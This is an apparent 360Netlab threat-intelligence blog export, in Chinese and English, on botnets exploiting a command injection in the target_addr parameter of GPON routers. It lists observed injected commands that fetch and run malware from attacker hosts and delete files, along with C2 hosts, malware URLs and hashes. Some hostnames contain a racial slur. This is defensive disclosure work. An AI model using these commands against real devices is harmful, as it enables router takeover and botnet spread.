| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)，[涂凌鸣](https://twitter.com/IUnKnow84503351)，[金晔](https://twitter.com/SethKingHi)*\n\n### 大致情况\n这是我们过去30天内的第3篇IoT 0-day漏洞文章，之前我们还披露了DrayTek Router在野0-day漏洞分析报告[[1\\]](__GHOST_URL__/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/)，LILIN DVR在野0-day漏洞分析报告[[2\\]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/)。我们观察到僵尸网络存在相互竞争获取更多的Bot规模的情况，其中有些僵尸网络拥有一些0-day漏洞资源，这使它们看起来与众不同。我们正在研究并观察IoT Botnet使用0-day漏洞传播是否是一个新趋势。\n\n2020年2月28日，360Netlab未知威胁检测系统注意到Moobot僵尸网络[[3\\]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)开始使用一种我们从未见过的新漏洞(多个步骤)，并且可以成功攻击受影响的设备。\n\n2020年3月17日，我们确认此漏洞为0-day漏洞，并将结果报告给CNCERT。\n\n2020年3月18日，Exploit Database[[4\\]](https://www.exploit-db.com/exploits/48225)网站发布了Netlink GPON路由器远程命令执行漏洞PoC，这与我们发现的在野0-day漏洞特征一致。但是，该PoC遗漏了关键的一个步骤，因此实际被注入的命令并不能成功执行。\n\n2020年3月19日，我们与相关厂商联系，被告知设备出厂默认都只开放在LAN侧，确认存在漏洞。\n\n2020年3月19日，我们注意到一个攻击者根据公开的PoC传播Gafgyt僵尸网络。在3月26号，该攻击者将该漏洞集成到Bot中，并进行互联网范围内蠕虫式扫描。\n<a href=\"__GHOST_URL__/content/images/2020/04/image1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/image1.png\" class=\"kg-image\"/></a>\n\n幸运的是，该PoC遗漏了关键的一个步骤，扫描通常会失败。\n<a href=\"__GHOST_URL__/content/images/2020/04/scanner.png\"><img src=\"__GHOST_URL__/content/images/2020/04/scanner.png\" class=\"kg-image\"/></a>\n\n2020年3月24日，我们注意到另一个攻击者根据公开的PoC传播Fbot僵尸网络，也很快地结束了传播。\n\n目前，我们已经发现共有9款型号的路由器中存在同样的漏洞，很可能他们都是同一原始供应商的OEM产品。\n\n### target_addr命令注入漏洞分析\n漏洞类型：需要授权的远程命令执行漏洞\n漏洞原因：在设备 `/bin/boa` Web服务端程序内，存在2个函数`formPing()`和`formTracert()`。它们在处理 `/boaform/admin/formPing` POST请求时，未检查`target_addr`参数就调用系统`ping`命令，从而导致命令注入漏洞。<a href=\"__GHOST_URL__/content/images/2020/04/ping.png\"><img src=\"__GHOST_URL__/content/images/2020/04/ping.png\" class=\"kg-image\"/></a>\n\n\n### 注入命令列表\n```\n%3Bwget%20http://45.58.148.50/n%20-O-|sh\n%3Bwget%20http://185.61.138.46/n%20-O-|sh\n%3Bwget%20http://194.180.224.13/n%20-O-|sh\n%3Bwget%20http://194.180.224.113/n%20-O-|sh\n;'+payload+'%20/\n;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /\n;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /\n;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /\n;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /\n;ls /\n;wget http://194.180.224.249/bignigger\n;wget http://194.180.224.249/muck.sh -O - | sh\n```\n\n\n### 处置建议\n我们建议相关运营商检查是否存在漏洞型号设备，默认账号密码等问题，并更新设备固件系统。\n\n我们建议读者对相关域名、IP和URL进行监控和封锁。\n\n使用我们DNSmon的用户，本文涉及的IoC相关域名很早就被自动阻断访问。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n### IoC list\nC2\n```\nnlocalhost.wordtheminer.com:9746\n164.132.92.173:123\n51.254.23.237:100\nattack.niggers.me:443\n```\n\nMD5\n```\n0a99f9b0472e2e4b9b20657cdde90bbb\n0b00195d6162464cbb058024301fc4f3\n0bd6066e0fab5d189dc32a7025c99b4d\n006581bacd9109b1bf9ee226e4b53c69\n05cbda6d4461900bfedf1d126a1f281a\n05078ea74df7bb588b5bf984dd0c357f\n07b3523f46aa5ed101c0a9f27a0464d9\n089a20cf6b2380348f603acf70d8e998\n0928b37ce3a9198bdc7c3f54baac396a\n1f6874ecffc52d54a4675d7246e326ad\n3c08f24b98fb6f9c6b1c9ff20e5a2d1f\n3cc06f2dc303be2375fef418b58e42ca\n4b4f95d7197f0b0ee84d5ae3941c62b4\n5ed943a527353324fa3192b4aaa39b03\n6fb9a25d3f645ec6e7ed74801fbd3e16\n7ad034dc8413956d480b8f348c890c33\n7cfa0eed3a610e0d8e415110b3e65190\n7e735868bc62ccae67512847b2a75c9d\n8af7c440b85e2c44a2a15fde317c6f65\n8b708283e5515f6b4438224124f671c4\n8be297b73621818d872c711234b3daec\n9a4a798ddabbb58f02773641b618cb74\n9cd6deb2d2637243cb4eb11cac6d5cb2\n18be5888d4e0da8933fced78f9fb0960\n24c328bd0fef770212e3e03be8024993\n24ed1ceccdadc19da00aebc3e769d794\n25e8d81f0c5157adef22a32c74114e8c\n38a6342ed08ccae066858a246d67f73d\n50a997f7b5bd1018946caf9117874227\n55c4ba138f8679fac72b48ab3566d888\n56c71251ebd86c96b6a9c615424a6c8e\n80f210834cbbc5415e6045c24b399835\n82bae571fdfec253fe293311ce4e9c0d\n82cb1a36cc1b659e81e1fe3a5eb5abb6\n83c279c71cea9d8ab5b6bd0b2a5aa0f1\n93f4f875eb0a77abdc138bdd3dc72ec7\n99ee1cc30563217124f11627300661d5\n223cb9629da3f70d145207763f081e01\n413ba8d86b38a04b7263fc8aa8fb14e6\n570dca60a3a719962d92ef4549261903\n592c30e702806f57a9158db25750928c\n723ebfee5a8d7695fcfafffa75fc40ab\n885a52c1950be769b8659889473dc918\n949eed7cfe25e6e340aec864fd4becdb\n1137f1737e59324e1c237cbe8b91bc57\n3386ee08387596f4edc6881caf2407cc\n7472ba599c4e6427ccddeabdc031035d\n9933d4f6dcb59d1344a47a29c79ff619\n73258bf7b4784c551f40cbe672e2748e\n76154ed76f33b66973d119c43200f194\n91558b8e5ea1a892dc21181460c3e0eb\n534798f4d3ea49d6378258358eed10de\n623306bcdb9c7ceef47fb47c3266aee9\n733270de5536997f0b5f23b8b4f21587\n2005292c8c5d4d67b4d051f981a50981\n3404206dc241f0865e6b2091f0e506c6\n6111797820074d3490daedb22003321e\na5c256db29494179e817ea7c1974773e\na2763e44896d946937b5c9f9f3171d95\naa925baa97fab54a80485c82b64104c7\nab6c2fa4af05c20909d1383091287e5b\nb053d3e6d89a26c4c8edf19cde775d90\nb8bfde19f504d0c0e55e830a9439d8d9\nb918ac324f4ea6b1b8773d2899318555\nbc458b7d42cac8d41aa02a752a75542e\nbd2d93ec4eabb6578c370ab5dbc26ded\nc5e508ea2f0c4c34c7917201346b0893\nc6af537d5de188d142658377a51d2212\nc800304fb7e6845986d673ce39cbb2d0\ncb3fdb886b993e6179a24ec733714882\ncdc8cae31e929d99f9aab047329954e5\nd1b97657a7e9c75003e522adf0f606f3\nd8498b50166021c97c153e33088b2b87\ndbb6b9d0bec577e853f85644774608d3\nde6bb3ec243cae920cb70fb52c40e8d2\ndf1e5beba9e9635aa5f072133373d3da\ne01ab8c37afbfcfb19083163c0045495\neee0f46d0739fb37d552f350b0608334\nf80d4bcf45266e62118755f290dd1f51\nfbbab3a8befa60093986c1d447629d7e\nfc397251bde53241f2a3826395eca61b\nfe2c07723d0864bb2c3976058af8c67d\n```\n \n\nURL\n```\nhttp://45.58.148.50/n\nhttp://51.254.23.227/bins/mips\nhttp://51.254.23.227/bins/n\nhttp://51.254.23.227/bins/netlink\nhttp://51.254.23.227/bins/polaris.mips\nhttp://164.132.92.168:6479/bins/mips\nhttp://164.132.92.168:6479/bins/viktor.mips\nhttp://185.61.138.46/n\nhttp://194.180.224.13/n\nhttp://194.180.224.113/n\nhttp://194.180.224.249/bignigger\nhttp://194.180.224.249/muck.sh\nhttp://6735a55d.ngrok.io/bins/mips\nhttp://58680dd9.ngrok.io/bins/mips\nhttp://58680dd9.ngrok.io/bins/sh\n```\n\nIP\n```\n185.61.138.46 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n45.58.148.50 \tUnited States \tASN46844 \tSharktech\n194.180.224.113 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n194.180.224.13 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n194.180.224.249 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n164.132.92.168 \tFrance \tASN16276 \tOVH SAS \n164.132.92.173 \tFrance \tASN16276 \tOVH SAS \n51.254.23.227 \tFrance \tASN16276 \tOVH SAS \n51.254.23.237 \tFrance \tASN16276 \tOVH SAS \n```\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e8ed4a57646030007b27284 |
post | null | 2020-04-15T04:19:06.000Z | 63873b9a8b1c1e0007f52f6c | multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day-en | 0 | 2022-02-09T07:09:14.000Z | public | published | null | 2020-04-15T13:30:00.000Z | Multiple fiber routers are being compromised by botnets using 0-day | <!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a>, <a href="https://twitter.com/IUnKnow84503351">Lingming Tu</a>, <a href="https://twitter.com/SethKingHi">Ye Jin</a></em></p>
<p>This is our 3rd IoT 0-day series article, in the past 30 days, we have already blogged about 2 groups targeting DrayTek CPE 0-day here [<a href="__GHOST_URL__/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/">1]</a>, and Fbot botnet targeting Lilin DVR 0-day here [<a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">2]</a>. Apparently while most botnets play catchup games, some have deep resources and probably deep pocket to get hold of the public unknown exploits. Our botnet researchers are fascinated by this and will see if this is a new trend.</p>
<p>On February 28, 2020, we noticed the Moobot botnet [<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">3]</a> successfully used a new exploit (two steps) to spread.</p>
<p>On March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT. We also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different) so they won’t take this case from us.</p>
<p>On March 18, the Exploit Database [<a href="https://www.exploit-db.com/exploits/48225">4]</a> website released a Netlink GPON router remote command execution vulnerability PoC, which matches the 0-day vulnerability we observed. However, the PoC lefts out a crucial prerequisite - another vulnerability needs to be used together with this PoC for it to work. So, a successful execution of the injected commands will not have the target device compromised.</p>
<p>On March 19th, we observed ongoing exploit attempts to propagate Gafgyt botnet samples using the above PoC, and few days later, on March 26, we saw the exploit attempt adopted into Gafgyt bots and bots carried out internet wide scan (worm behavior).<br>
<a href="__GHOST_URL__/content/images/2020/04/image1.png"><img src="__GHOST_URL__/content/images/2020/04/image1.png" class="kg-image"/></a></p>
<p>Luckily, unlike Moobot, this botnet author was not aware of the aforementioned precondition, so it did not work out as expected and the scans would mostly fail.<br>
<a href="__GHOST_URL__/content/images/2020/04/scanner.png"><img src="__GHOST_URL__/content/images/2020/04/scanner.png" class="kg-image"/></a></p>
<p>On March 24th, we noticed another wave of exploit attempts to spread the Fbot botnet just like Gafgyt, with same failed outcome(not working).</p>
<p>Till this day, we have discovered that a total of 9 vendors are affected, it is likely most of the vendors are OEM products of the same original vendor.</p>
<p>The PoC has been published publicly and various botnets are taking advantage of it already, we informed CNCERT all the details, and we think it is necessary to inform the public this ongoing threat. We are not going to share the vendor name though, as we have no idea if there is going to be any action taken by them.</p>
<h3 id="someoftheinjectedcommand">Some of the injected command</h3>
<pre><code>%3Bwget%20http://45.58.148.50/n%20-O-|sh
%3Bwget%20http://185.61.138.46/n%20-O-|sh
%3Bwget%20http://194.180.224.13/n%20-O-|sh
%3Bwget%20http://194.180.224.113/n%20-O-|sh
;'+payload+'%20/
;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /
;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /
;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /
;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /
;ls /
;wget http://194.180.224.249/bignigger
;wget http://194.180.224.249/muck.sh -O - | sh
</code></pre>
<h3 id="vulnerabilityanalysis">Vulnerability analysis</h3>
<h4 id="prerequisite">Prerequisite</h4>
<p>As we mentioned above, just utilizing the PoC will not have the desired result, a successful execution needs 2 steps, the first step involves another vulnerability. We are not going to share this part publicly.</p>
<h4 id="theexploitdbpoc">The Exploitdb PoC</h4>
<p>Vulnerability Type: remote command execution<br>
Details: The function <code>formPing()</code> in the Web server program <code>/bin/boa</code>, When it processes the post request from <code>/boaform/admin/forming</code>, it did not check the <code>target_addr</code> parameters before calling the system ping commands, thereby a command injection becomes possible.<br>
<a href="__GHOST_URL__/content/images/2020/04/ping.png"><img src="__GHOST_URL__/content/images/2020/04/ping.png" class="kg-image"/></a></p>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<p>For users using our DNSmon system, all the Domains have been automatically blocked.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360 dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>C2</p>
<pre><code>nlocalhost.wordtheminer.com:9746
164.132.92.173:123
51.254.23.237:100
attack.niggers.me:443
</code></pre>
<p>MD5</p>
<pre><code>0a99f9b0472e2e4b9b20657cdde90bbb
0b00195d6162464cbb058024301fc4f3
0bd6066e0fab5d189dc32a7025c99b4d
006581bacd9109b1bf9ee226e4b53c69
05cbda6d4461900bfedf1d126a1f281a
05078ea74df7bb588b5bf984dd0c357f
07b3523f46aa5ed101c0a9f27a0464d9
089a20cf6b2380348f603acf70d8e998
0928b37ce3a9198bdc7c3f54baac396a
1f6874ecffc52d54a4675d7246e326ad
3c08f24b98fb6f9c6b1c9ff20e5a2d1f
3cc06f2dc303be2375fef418b58e42ca
4b4f95d7197f0b0ee84d5ae3941c62b4
5ed943a527353324fa3192b4aaa39b03
6fb9a25d3f645ec6e7ed74801fbd3e16
7ad034dc8413956d480b8f348c890c33
7cfa0eed3a610e0d8e415110b3e65190
7e735868bc62ccae67512847b2a75c9d
8af7c440b85e2c44a2a15fde317c6f65
8b708283e5515f6b4438224124f671c4
8be297b73621818d872c711234b3daec
9a4a798ddabbb58f02773641b618cb74
9cd6deb2d2637243cb4eb11cac6d5cb2
18be5888d4e0da8933fced78f9fb0960
24c328bd0fef770212e3e03be8024993
24ed1ceccdadc19da00aebc3e769d794
25e8d81f0c5157adef22a32c74114e8c
38a6342ed08ccae066858a246d67f73d
50a997f7b5bd1018946caf9117874227
55c4ba138f8679fac72b48ab3566d888
56c71251ebd86c96b6a9c615424a6c8e
80f210834cbbc5415e6045c24b399835
82bae571fdfec253fe293311ce4e9c0d
82cb1a36cc1b659e81e1fe3a5eb5abb6
83c279c71cea9d8ab5b6bd0b2a5aa0f1
93f4f875eb0a77abdc138bdd3dc72ec7
99ee1cc30563217124f11627300661d5
223cb9629da3f70d145207763f081e01
413ba8d86b38a04b7263fc8aa8fb14e6
570dca60a3a719962d92ef4549261903
592c30e702806f57a9158db25750928c
723ebfee5a8d7695fcfafffa75fc40ab
885a52c1950be769b8659889473dc918
949eed7cfe25e6e340aec864fd4becdb
1137f1737e59324e1c237cbe8b91bc57
3386ee08387596f4edc6881caf2407cc
7472ba599c4e6427ccddeabdc031035d
9933d4f6dcb59d1344a47a29c79ff619
73258bf7b4784c551f40cbe672e2748e
76154ed76f33b66973d119c43200f194
91558b8e5ea1a892dc21181460c3e0eb
534798f4d3ea49d6378258358eed10de
623306bcdb9c7ceef47fb47c3266aee9
733270de5536997f0b5f23b8b4f21587
2005292c8c5d4d67b4d051f981a50981
3404206dc241f0865e6b2091f0e506c6
6111797820074d3490daedb22003321e
a5c256db29494179e817ea7c1974773e
a2763e44896d946937b5c9f9f3171d95
aa925baa97fab54a80485c82b64104c7
ab6c2fa4af05c20909d1383091287e5b
b053d3e6d89a26c4c8edf19cde775d90
b8bfde19f504d0c0e55e830a9439d8d9
b918ac324f4ea6b1b8773d2899318555
bc458b7d42cac8d41aa02a752a75542e
bd2d93ec4eabb6578c370ab5dbc26ded
c5e508ea2f0c4c34c7917201346b0893
c6af537d5de188d142658377a51d2212
c800304fb7e6845986d673ce39cbb2d0
cb3fdb886b993e6179a24ec733714882
cdc8cae31e929d99f9aab047329954e5
d1b97657a7e9c75003e522adf0f606f3
d8498b50166021c97c153e33088b2b87
dbb6b9d0bec577e853f85644774608d3
de6bb3ec243cae920cb70fb52c40e8d2
df1e5beba9e9635aa5f072133373d3da
e01ab8c37afbfcfb19083163c0045495
eee0f46d0739fb37d552f350b0608334
f80d4bcf45266e62118755f290dd1f51
fbbab3a8befa60093986c1d447629d7e
fc397251bde53241f2a3826395eca61b
fe2c07723d0864bb2c3976058af8c67d
</code></pre>
<p>URL</p>
<pre><code>http://45.58.148.50/n
http://51.254.23.227/bins/mips
http://51.254.23.227/bins/n
http://51.254.23.227/bins/netlink
http://51.254.23.227/bins/polaris.mips
http://164.132.92.168:6479/bins/mips
http://164.132.92.168:6479/bins/viktor.mips
http://185.61.138.46/n
http://194.180.224.13/n
http://194.180.224.113/n
http://194.180.224.249/bignigger
http://194.180.224.249/muck.sh
http://6735a55d.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/sh
</code></pre>
<p>IP</p>
<pre><code>185.61.138.46 Netherlands ASN49349 Dotsi, Unipessoal Lda.
45.58.148.50 United States ASN46844 Sharktech
194.180.224.113 United States ASN44685 Patron Technology Persia Ltd
194.180.224.13 United States ASN44685 Patron Technology Persia Ltd
194.180.224.249 United States ASN44685 Patron Technology Persia Ltd
164.132.92.168 France ASN16276 OVH SAS
164.132.92.173 France ASN16276 OVH SAS
51.254.23.227 France ASN16276 OVH SAS
51.254.23.237 France ASN16276 OVH SAS
</code></pre>
<!--kg-card-end: markdown--> | Author: Yanlong Ma, Genshen Ye, Lingming Tu, Ye Jin
This is our 3rd IoT 0-day series article, in the past 30 days, we have already blogged about 2 groups targeting DrayTek CPE 0-day here [1], and Fbot botnet targeting Lilin DVR 0-day here [2]. Apparently while most botnets play catchup games, some have deep resources and probably deep pocket to get hold of the public unknown exploits. Our botnet researchers are fascinated by this and will see if this is a new trend.
On February 28, 2020, we noticed the Moobot botnet [3] successfully used a new exploit (two steps) to spread.
On March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT. We also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different) so they won’t take this case from us.
On March 18, the Exploit Database [4] website released a Netlink GPON router remote command execution vulnerability PoC, which matches the 0-day vulnerability we observed. However, the PoC lefts out a crucial prerequisite - another vulnerability needs to be used together with this PoC for it to work. So, a successful execution of the injected commands will not have the target device compromised.
On March 19th, we observed ongoing exploit attempts to propagate Gafgyt botnet samples using the above PoC, and few days later, on March 26, we saw the exploit attempt adopted into Gafgyt bots and bots carried out internet wide scan (worm behavior).
Luckily, unlike Moobot, this botnet author was not aware of the aforementioned precondition, so it did not work out as expected and the scans would mostly fail.
On March 24th, we noticed another wave of exploit attempts to spread the Fbot botnet just like Gafgyt, with same failed outcome(not working).
Till this day, we have discovered that a total of 9 vendors are affected, it is likely most of the vendors are OEM products of the same original vendor.
The PoC has been published publicly and various botnets are taking advantage of it already, we informed CNCERT all the details, and we think it is necessary to inform the public this ongoing threat. We are not going to share the vendor name though, as we have no idea if there is going to be any action taken by them.
Some of the injected command
%3Bwget%20http://45.58.148.50/n%20-O-|sh
%3Bwget%20http://185.61.138.46/n%20-O-|sh
%3Bwget%20http://194.180.224.13/n%20-O-|sh
%3Bwget%20http://194.180.224.113/n%20-O-|sh
;'+payload+'%20/
;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /
;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /
;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /
;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /
;ls /
;wget http://194.180.224.249/bignigger
;wget http://194.180.224.249/muck.sh -O - | sh
Vulnerability analysis
Prerequisite
As we mentioned above, just utilizing the PoC will not have the desired result, a successful execution needs 2 steps, the first step involves another vulnerability. We are not going to share this part publicly.
The Exploitdb PoC
Vulnerability Type: remote command execution
Details: The function formPing() in the Web server program /bin/boa, When it processes the post request from /boaform/admin/forming, it did not check the target_addr parameters before calling the system ping commands, thereby a command injection becomes possible.
Suggestions
We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.
We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.
For users using our DNSmon system, all the Domains have been automatically blocked.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IoC list
C2
nlocalhost.wordtheminer.com:9746
164.132.92.173:123
51.254.23.237:100
attack.niggers.me:443
MD5
0a99f9b0472e2e4b9b20657cdde90bbb
0b00195d6162464cbb058024301fc4f3
0bd6066e0fab5d189dc32a7025c99b4d
006581bacd9109b1bf9ee226e4b53c69
05cbda6d4461900bfedf1d126a1f281a
05078ea74df7bb588b5bf984dd0c357f
07b3523f46aa5ed101c0a9f27a0464d9
089a20cf6b2380348f603acf70d8e998
0928b37ce3a9198bdc7c3f54baac396a
1f6874ecffc52d54a4675d7246e326ad
3c08f24b98fb6f9c6b1c9ff20e5a2d1f
3cc06f2dc303be2375fef418b58e42ca
4b4f95d7197f0b0ee84d5ae3941c62b4
5ed943a527353324fa3192b4aaa39b03
6fb9a25d3f645ec6e7ed74801fbd3e16
7ad034dc8413956d480b8f348c890c33
7cfa0eed3a610e0d8e415110b3e65190
7e735868bc62ccae67512847b2a75c9d
8af7c440b85e2c44a2a15fde317c6f65
8b708283e5515f6b4438224124f671c4
8be297b73621818d872c711234b3daec
9a4a798ddabbb58f02773641b618cb74
9cd6deb2d2637243cb4eb11cac6d5cb2
18be5888d4e0da8933fced78f9fb0960
24c328bd0fef770212e3e03be8024993
24ed1ceccdadc19da00aebc3e769d794
25e8d81f0c5157adef22a32c74114e8c
38a6342ed08ccae066858a246d67f73d
50a997f7b5bd1018946caf9117874227
55c4ba138f8679fac72b48ab3566d888
56c71251ebd86c96b6a9c615424a6c8e
80f210834cbbc5415e6045c24b399835
82bae571fdfec253fe293311ce4e9c0d
82cb1a36cc1b659e81e1fe3a5eb5abb6
83c279c71cea9d8ab5b6bd0b2a5aa0f1
93f4f875eb0a77abdc138bdd3dc72ec7
99ee1cc30563217124f11627300661d5
223cb9629da3f70d145207763f081e01
413ba8d86b38a04b7263fc8aa8fb14e6
570dca60a3a719962d92ef4549261903
592c30e702806f57a9158db25750928c
723ebfee5a8d7695fcfafffa75fc40ab
885a52c1950be769b8659889473dc918
949eed7cfe25e6e340aec864fd4becdb
1137f1737e59324e1c237cbe8b91bc57
3386ee08387596f4edc6881caf2407cc
7472ba599c4e6427ccddeabdc031035d
9933d4f6dcb59d1344a47a29c79ff619
73258bf7b4784c551f40cbe672e2748e
76154ed76f33b66973d119c43200f194
91558b8e5ea1a892dc21181460c3e0eb
534798f4d3ea49d6378258358eed10de
623306bcdb9c7ceef47fb47c3266aee9
733270de5536997f0b5f23b8b4f21587
2005292c8c5d4d67b4d051f981a50981
3404206dc241f0865e6b2091f0e506c6
6111797820074d3490daedb22003321e
a5c256db29494179e817ea7c1974773e
a2763e44896d946937b5c9f9f3171d95
aa925baa97fab54a80485c82b64104c7
ab6c2fa4af05c20909d1383091287e5b
b053d3e6d89a26c4c8edf19cde775d90
b8bfde19f504d0c0e55e830a9439d8d9
b918ac324f4ea6b1b8773d2899318555
bc458b7d42cac8d41aa02a752a75542e
bd2d93ec4eabb6578c370ab5dbc26ded
c5e508ea2f0c4c34c7917201346b0893
c6af537d5de188d142658377a51d2212
c800304fb7e6845986d673ce39cbb2d0
cb3fdb886b993e6179a24ec733714882
cdc8cae31e929d99f9aab047329954e5
d1b97657a7e9c75003e522adf0f606f3
d8498b50166021c97c153e33088b2b87
dbb6b9d0bec577e853f85644774608d3
de6bb3ec243cae920cb70fb52c40e8d2
df1e5beba9e9635aa5f072133373d3da
e01ab8c37afbfcfb19083163c0045495
eee0f46d0739fb37d552f350b0608334
f80d4bcf45266e62118755f290dd1f51
fbbab3a8befa60093986c1d447629d7e
fc397251bde53241f2a3826395eca61b
fe2c07723d0864bb2c3976058af8c67d
URL
http://45.58.148.50/n
http://51.254.23.227/bins/mips
http://51.254.23.227/bins/n
http://51.254.23.227/bins/netlink
http://51.254.23.227/bins/polaris.mips
http://164.132.92.168:6479/bins/mips
http://164.132.92.168:6479/bins/viktor.mips
http://185.61.138.46/n
http://194.180.224.13/n
http://194.180.224.113/n
http://194.180.224.249/bignigger
http://194.180.224.249/muck.sh
http://6735a55d.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/sh
IP
185.61.138.46 Netherlands ASN49349 Dotsi, Unipessoal Lda.
45.58.148.50 United States ASN46844 Sharktech
194.180.224.113 United States ASN44685 Patron Technology Persia Ltd
194.180.224.13 United States ASN44685 Patron Technology Persia Ltd
194.180.224.249 United States ASN44685 Patron Technology Persia Ltd
164.132.92.168 France ASN16276 OVH SAS
164.132.92.173 France ASN16276 OVH SAS
51.254.23.227 France ASN16276 OVH SAS
51.254.23.237 France ASN16276 OVH SAS
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3), [Lingming Tu](https://twitter.com/IUnKnow84503351), [Ye Jin](https://twitter.com/SethKingHi)*\n\nThis is our 3rd IoT 0-day series article, in the past 30 days, we have already blogged about 2 groups targeting DrayTek CPE 0-day here [[1\\]](__GHOST_URL__/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/), and Fbot botnet targeting Lilin DVR 0-day here [[2\\]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/). Apparently while most botnets play catchup games, some have deep resources and probably deep pocket to get hold of the public unknown exploits. Our botnet researchers are fascinated by this and will see if this is a new trend.\n\nOn February 28, 2020, we noticed the Moobot botnet [[3\\]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/) successfully used a new exploit (two steps) to spread. \n\nOn 